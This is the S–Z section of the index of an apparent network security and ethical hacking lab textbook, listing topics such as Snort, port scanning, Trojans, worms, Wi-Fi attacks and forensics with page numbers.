hardware
essential, 8–9
hacker, 4–7
network for, 14–26. See also network
software test platform, 31–62. See also software
test platform
security leaks. See information gathering
security tools, for Linux, 29
SecurityFocus vulnerability research, 176
securityfocus.com/vulnerabilities, 131
securityforest.com, 212, 222–223
SecurityFriday, 167
securityfriday.com/tools/ScoopLM.html, 179
SELinux. See Security Enhanced Linux
Sentinel, 159
Server Message Blocks. See SMB
server OS installations, 31–47
serverheader.exe, 94, 95
service set ID. See SSID
session authentication, 241
session state variable, 78. See also cookies
seti.org, 47
SFind, 390, 397
SHA (secure hash), 231, 232, 377
shadow data, 372
shadows, 43–44
Shamir, Adi, 233
share-level security, 22
sharpmail.co.uk, 73
sheep dip computer, 269
■
S–S
shellcode, 356
Shields Up, 110–111
shoulder surfing, 111, 140
SID2USER, 165, 166
sidewalksale.com, 12
SIDs. See security identifiers
signatures
added to IDS, 158, 160
digital, 234, 253
scanning, 270
virus, 284–285
Simple Mail Transfer Protocol. See SMTP
Simple Network Management Protocol. See
SNMP
single sign-on (SSO), 175
site rippers, 74–75, 97
site surveys, 311, 322
Slacker, 395
Slammer worm, 268
‘‘Smashing the Stack for Fun and Profit,’’ 178
SMB (Server Message Blocks), 161, 181
IPC and, 163–164
ServerScan, 167
Smb4K, 167
Smith, David, 265
SMTP (Simple Mail Transfer Protocol), 117, 119
SNAP (Subnetwork Access Protocol), 155
SnapBack DatArrest, 375. See also
images/imaging
snapfiles.com/get/superscan.html, 131
Sniffdet, 159
Sniffer, 112
sniffer mode, 339–340
sniffers. See protocol analyzers
sniffing password hashes, 174–175
SNMP (Simple Network Management Protocol),
120, 150–152, 181
enumeration, 150–154, 181–183
countermeasures, 153–154
exercise, 181–183
tools, 152–153
installation, 182
OSI model and, 151
OSPF and, 158
SolarWinds IP Network Browser and, 181–183
structure, 151
turning off, 153
versions, 151
SNMP Informant, 153
SNMPUtil, 152
Snort, 29, 54, 136, 160, 320, 330–357. See also
intrusion detection systems
advanced, 356–357
attacks/intrusions and, 357–360
on BackTrack, 333
buffer overflows and, 356–357
423
424
Index
■
S–S
Snort, (continued)
configuration, 337–339
verification of, 339–342
deployment, 332
hardware requirements, 331–332
incident-response process, 358–360
installation (Windows system), 333–336,
361–363
logging with, 345
network intrusion mode, 341–342
one-way data cable, 334, 363
overview, 330
packet logger mode, 340–341
platform compatibility, 331
rules, 342–348
creating/testing, 347–348
header, 343–345
options, 345–347
sniffer mode, 339–340
subnet masks, 344, 346
user interface, 349–356
BASE, 332, 355–356
IDScenter, 330, 349–354
-Wireless, 320
SnortSnarf, 330
SNScan, 152
social engineering, 68, 87–88, 97, 284
phishing and, 282
softbytelabs.com, 74, 75
software test platform, 31–62
client-side security tools, 53–55
learning applications, 55–56
server OS installations, 31–47
virtualization, 47–53, 57
software-based firewalls, 9, 26, 136
SolarWinds IP Network Browser, 152
download, 154, 181
SNMP and, 181–183
Sonicwall firewalls, 26
Sophos products, 270
source code analysis, 74–77, 97
source code assessment tools, 191–192
Sourcefire, 348
Spafford, Eugene, 379
Spam Mimic, 394
spambots, 281
sparse infection viruses, 263
spear phishing, 260
Sprague, Russell William, 394, 395
spread-spectrum technology, 295
Spy Sweeper, 280
Spy Wiper, 279
SpyBan, 279
Spybot Search & Destroy, 280
SpyFerret, 279
SpyGone, 279
SpyHunter, 279
SpyKiller, 279
spyware, 278–280, 283, 284
appearing as spyware-removal tools, 279
firewalls and, 279
purposes of, 278
SpyWare Nuker, 279
SpywareBlaster, 280
spyware-removal tools
spyware appearing as, 279
well-known, 280
SSH (Secure Shell), 118, 119, 334
SSID (service set ID), 293
SSL (Secure Sockets Layer), 197, 216
encryption and, 197
SSO. See single sign-on
stack smashing, 178–179
stack-based buffer overflows, 178–179
static IP addresses, 25
static (fixed) routing protocols, 154, 155
stealth viruses, 264
steganography, 391–395, 397. See also S-Tools
Steganos, 392
Stevens, Richard W., 115
Stoll, Cliff, 325
S-Tools, 392, 393
exercise, 400–403
storage. See hard drives; images/imaging
stream ciphers, 228, 230
subnet masks, Snort, 344, 346
Subnetwork Access Protocol. See SNAP
subrosasoft.com, 386
SubSeven Trojan, 273–274, 276
‘‘sucks’’ domain, 72, 74
Sun One Web Server, 93
SuperScan, 55, 109, 129, 130, 131
port scanning with, 142–143, 144, 145
surveillance, spyware and, 278
Swatch, 327
switches, 9. See also KVM switch
defined, 27
hubs v., 21
resetting, 17
routing enumeration and high-end, 158
used, 13
virtual, 51–52
Syctale, 226, 228
Symantec
Ghost, 16, 17, 22, 375
NetProwler, 327
NetRecon, 193
Norton AntiVirus, 265, 269
Norton UnErase, 385
symmetric algorithms, 227, 228–229, 254
symmetric encryption (secret key encryption),
226, 227–232
Index
SYN, 116, 117, 121
SYN scan, 122
synchronous authentication, 241
syntax, of $, 164
Sysinternals, 55
system assessment tools, 192–202. See also Nessus
attributes of good, 194–195
list of, 192–194
T
tangerine box, 6
target web site
About page, 64–68
acquired companies, 65, 82
authentication methods, 77–80, 97
job listings, 80–81
key employees, 68–71
locations, 65–68
source code analysis, 74–77, 97
Task Manager, 277
TCP (Transmission Control Protocol), 111,
116–117, 120–121, 140
ACK scan, 122
FIN scan, 122
flags, 117, 121
Full Connect scan, 122
initial window technique, 134
Null scan, 122
options, 135
port scanning. See port scanning
ports, number of, 117, 120
security issues, 116
startup/shutdown sequence, 116, 121
SYN scan, 122
three-way handshake, 116, 117, 120, 124
UDP v., 117, 121
window size, 132
XMAS scan, 122
tcpdump, 54
TCP/IP, 111–120
application layer, 117–120
fingerprinting. See OS fingerprinting
host-to-host layer, 116–117
Internet layer, 113–116
network access layer, 112–113
ping and. See ping
protocol stack, 111, 112
v4, 111
v6, 111
TCP/IP Illustrated, Volume 1: The Protocols
(Stevens), 115
TCPView, 277, 290
teardrop attack, 115
Teflon Oil Patch, 275
Teleport Pro, 74
■
S–T
Telnet, 111, 112, 118, 119. See also SSH
Telnet technique, 94, 95, 101
Temporal Key Integrity Protocol. See TKIP
10-K document, 82
10-Q document, 82
Tenable Network Security, 195
tension wrenches, 6
Terminal Window, 41
TestDisk, 385
TFTP (Trivial File Transfer Protocol), 120
request, 18
routers and, 160
THC Hydra, 55
THC-Amap, 55, 130
THC-Scan, 68
THC-wardrive, 317
TheITjobboard.com, 81
three-way handshake (TCP), 116, 117, 120, 124
thrift stores, 13–14
thumb drives, 26, 46, 215, 272, 277, 371
Time Warner Road Runner account, 123
time-memory tradeoff, 173, 250. See also
RainbowCrack technique
Timestomp, 395
Tiny Firewall, 9
TKIP (Temporal Key Integrity Protocol), 299,
301
Tlist, 277
TLS (Transmission Layer Security), 197, 216
encryption and, 197
ToneLoc, 67, 291
top-level domains, 86
Torvalds, Linus, 36
TOS (Type of Service), 132, 135
trace-evidence analysis, 379–386
browser cache, 382–383
deleted/overwritten files, 385–386
email, 383–385
evidence v., 380
Melissa virus and, 380–381
traceroute, 95, 98
tools, 95–96
Transmission Control Protocol. See TCP
Transmission Layer Security. See TLS
Transmogrify, 395
Trap Generator, 153
Trap Receiver, 153
trap-door functions, 233. See also hashes
trashmail.net, 73
Trend Micro PC-cillin Internet Security, 270
triple A, 77
Tripwire, 327, 330, 379. See also intrusion
detection systems
Trivial File Transfer Protocol. See TFTP
Trojan Man wrapper, 275
Trojanized rootkits, 276
425
426
Index
■
T–V
Trojans, 5, 271–276, 283, 284
Back Orifice, 273, 283
building, 285
distributing, 274–275
infection methods, 272
keystroke logging, 260
modern, 274
NetBus, 273, 283
SubSeven, 273–274, 276
symptoms, 273
term, 271
wrappers and, 275
True Image (Acronis), 16, 17, 22
TSWEB, 83
turning off unneeded services, 118, 131, 136, 139,
140, 153
tweaking the pointer, 178–179
Type I errors, 245
Type II errors, 245
Type of Service. See TOS
U
ubid.com, 13
UDP (User Datagram Protocol), 111, 117, 121, 140
port scanning. See port scanning
ports, number of, 117
TCP v., 117, 121
UIDs. See user IDs
unallocated space, 385, 397
unicast Mac addresses, 113
unneeded services, turning off, 118, 131, 136, 139,
140, 153
urapi.com, 100
URG, 121
USB hard drives, 9, 13, 25
used/refurbished
computers, 12, 13–14
hubs, 13
routers, 14
switches, 13
User Datagram Protocol. See UDP
user IDs (UIDs), 162
USER2SID, 165
Userinfo tool, 166–167
user-level security, 22
/usr, 40
V
VBS Worm Generator, 265
Venema, Wietse, 53, 190
VeriFinger, 247
virtual LAN (VLAN), 327
virtual machines. See VMs
virtual networks, 51–52
Virtual PC, 48, 52–53
VMware v., 52–53
virtual private networks. See VPNs
virtual switch, 51–52
virtualization, 47–53, 57. See also VMs
arcade emulation, 47–48
viruses, 261–264, 282–283
Anna Kournikova, 265
backups and, 271
Brain, 259–260, 261, 268
email attachments and, 271
fast infection, 263
file infection, 262
generators, 5
Good Times, 264
hoaxes, 264
I Love You, 262, 265, 268
Lehigh, 261
MacMag, 262
Macro, 262–263, 265
master boot record, 262
Melissa, 265, 268
trace evidence and, 380–381
multipartite, 263
NATAS, 263
Netsky, 268
polymorphic, 263
propagation methods, 262–263
RAM resident, 263
Scores, 262
signatures, 284–285
sparse infection, 263
stealth, 264
term, 259
Win95Boza, 265
VisualRoute, 96, 102, 103
VLAD, 194
VLAN. See virtual LAN
VMnet, 51–52
VMs (virtual machines), 16, 30, 47–53
application, 47
mainframe, 47
OS, 47
parallel, 47
VMware, 26, 30, 47, 48
Player, 48, 49
products, 48–49
ReactOS image and, 59–60
running BackTrack from, 60–62
Server, 48, 49, 51–52
specifications, 49
Virtual PC v., 52–53
Windows 2000 image and, 58–59
Workstation, 48–51
installation, 49–51
vmware.com/vmtn/appliances, 30
Index
voice recognition, 246
VPNs (virtual private networks), 106
vulnerabilities, 175–178. See also Common
Vulnerabilities and Exposures
vulnerability assessment tools, 5, 189–223
automated/advanced, 203–214
categories, 191
choosing, 214
complete list, 202
importance of, 190, 191
platforms for, 215
vulnerability scanners, 190, 216
W
WAPs. See wireless access points
war flying, 302
warchalking, 302
wardialing, 67–68, 98, 106, 141, 291
wardriving, 66–67, 98, 106, 141, 302–307, 322
watermarking, digital, 394–395, 396
WaveStumbler, 317
Wayback Machine, 71–72
weak encryption, 244
weak passwords, 179, 237, 248–249, 251–252
Web page coding, analysis of, 74–77
web server
location, 95–96
software, 93–95
web site
rippers, 74–75, 97
target. See target web site
Webgoat, 55, 56
Webmaven, 55–56
well-known ports, 117
WEP (Wired Equivalent Privacy), 25, 106, 141,
297–299
cracking, 299, 314–317
Wireshark and, 301–302
WEP Crack, 299
Wget, 75
What’s That Site Running? (service), 93
WHOIS databases, 85–88, 98, 384
exercise, 99
Whole Foods Market, 73
WIDZ Intrusion detection, 320
Wi-Fi (Wireless Fidelity), 291–324
attacks, 302–313
DoS, 312–313
eavesdropping, 295, 307–311, 321
rogue WAPs, 311–312, 321
wardriving, 66–67, 98, 106, 141, 302–307, 322
basics, 292–297
Bluetooth, 296–297, 321
exploiting, 318
hack, 297
■
V–W
detectors, 7, 27
exploiting, 313–318
security, 297–302, 318–320
defense in depth, 318–319, 321
IDSs, 319–320
WEP, 25, 106, 141, 297–299
WPA, 25, 106, 299–301
Wi-Fi Protected Access. See WPA
wigle.net, 303
Wild Oats, 73
Win Sniffer, 309, 310
Win95Boza virus, 265
Window scan, 123
Windows 2000, 33
active fingerprinting, 146–147
image, VMware and, 58–59
Windows 2003, 33
security model, 22
trial version, 59
Windows, Microsoft, 32–36, 56
authentication methods, 238
BackTrack v., 39
enumeration, 161–170
countermeasures, 168–170
with DumpSec, 185–186
IPC$ share and, 164–165
tools, 165–168
Linux v., 331
Snort installation on, 333–336, 361–363
Windows NT, 33
Windows PE (Windows Pre-execution
Environment), 45–47
Windows Pre-execution Environment. See
Windows PE
Windows Vista, 32
requirements, 33
Windows XP
installation, 21–23, 33–36
Metasploit and, 219–221
regional settings, 35
requirements, 32
security model, 22
WipeDrive, 372
Wired Equivalent Privacy. See WEP
wired Ethernet, 292
wireless (term), 292
wireless access points (WAPs), 9, 25, 27, 106
modes, 294
rogue, 311–312, 321
spoofing, 312, 321
Wireshark and, 301–302
wireless ad hoc mode, 293, 321
wireless clients and NICs, 293
wireless communication, 291–292, 320. See also
Wi-Fi
standards, 294–296
427
428
Index
■
W–Z
Wireless Fidelity. See Wi-Fi
wireless infrastructure mode, 293, 321
wireless LANs. See Wi-Fi
wireless personal area network technology, 296
Wireshark, 22, 29, 54, 112, 236, 314
capturing wireless traffic with, 323–324
OSPF and, 158
WEP, WAP and, 301–302
Wit, Jan de, 265
WLANs. See Wi-Fi
worms, 261, 264–268, 284
Code Red, 120, 265–266, 268
first, 259
Klez, 267–268
Morris (RTM), 264, 268, 357
MyDoom, 268
Nimda, 120, 266–267
Sasser, 268
Slammer, 268
VBS Worm Generator, 265
Wozniak, Steve, 7
WPA (Wi-Fi Protected Access), 25, 106, 299–301
wrappers, 275, 284
Trojans and, 275
write blocker, 370
write erase, 17
WS Ping ProPack, 109
X
X.509 standard, 243
XenSource, 48, 57
XMAS scan, 122
XOR (exclusive OR’ing), 78, 97, 230, 298–299
Xprobe2, 39, 135–136
exercise, 144, 146
X-Scan, 194
Y
Yarochkin, Fyodor, 126, 134. See also Nmap
Z
zabasearch.com, 69, 100
zombie scan, 126–127
ZoneAlarm, 136
zoominfo.com, 70, 100
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